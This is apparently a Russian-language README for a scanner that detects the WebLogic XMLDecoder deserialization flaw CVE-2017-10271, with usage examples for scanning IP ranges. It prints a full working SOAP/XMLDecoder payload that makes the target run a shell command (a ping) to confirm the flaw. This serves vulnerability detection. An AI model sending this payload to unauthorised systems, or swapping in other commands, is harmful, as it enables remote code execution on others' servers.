
Сканер Java-десериализации, нацеленный на уязвимости, подобные CVE-2017-10271.
Сканер уязвимости десериализации Java для уязвимостей типа CVE-2017-10271. Этот проект содержит только один PoC, остальное пока не систематизировано.
Установка nmap
https://nmap.org/download.html — скачайте версию, соответствующую вашей операционной системе.
Установка сторонних пакетов
pip install -r requirements.txt
Сканирование
Измените PoC: замените IP-адрес в команде ping на свой.
Измените код перехвата (строка 25)
sniff(filter='icmp and yourIP',prn=packet_callback)
java_scan.py -i IP-адрес [опции] java_scan.py -h — справка
Перед использованием обязательно измените PoC: замените IP-адрес в команде ping на свой.
PoC — это два JSON-файла для Windows и Linux (функция указания пути к PoC пока не реализована, будет добавлена в следующих версиях). Назовите файлы PoC как и и поместите в папке с программой.
poc.jsonpoc_win.jsonФормат PoC (версия для Linux; версия для Windows аналогична)
{
"url":"wls-wsat/CoordinatorPortType",
"header": "Content-Type:text/xml",
"data": [
"<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>",
"<soapenv:Header>",
"<work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>",
"<java version='1.8.0_131' class='java.beans.XMLDecoder'>",
"<void class='java.lang.ProcessBuilder'>",
"<array class='java.lang.String' length='3'>",
"<void index='0'>",
"<string>/bin/bash</string>",
"</void>",
"<void index='1'>",
"<string>-c</string>",
"</void>",
"<void index='2'>",
"<string>ping 10.60.18.5 -c 2</string>",
"</void>",
"</array>",
"<void method='start'/></void>",
"</java>",
"</work:WorkContext>",
"</soapenv:Header>",
"<soapenv:Body/>",
"</soapenv:Envelope>"
]
}
url — путь к уязвимому ресурсу; header — заголовок, добавляемый в POST-запрос; data — сериализованное содержимое для отправки.
Примечание: Этот PoC заставит уязвимый хост отправить 2 ICMP-пакета. Программа подтвердит наличие уязвимости только после обнаружения ICMP-пакетов.
По умолчанию сканирование выполняется вызовом nmap для локальной сети.
java_scan.py -i 192.168.0.1
Эта команда сканирует порт 7001 хоста 192.168.0.1.
Один IP и порт:
java_scan.py -i 192.168.0.1 -p 7001
Несколько IP и портов:
java_scan.py -i 192.168.0.1,2,55 -p 7001,8001,9001
Диапазон IP и портов:
java_scan.py -i 192.168.0.1-255 -p 7000-8000
Используйте параметр -f для быстрой проверки порта через socket.
java_scan.py -i 192.168.0.1-255 -p 7001 -f
Укажите количество потоков для быстрой проверки:
java_scan.py -i 192.168.0.1-255 -p 7001 -f -t 100
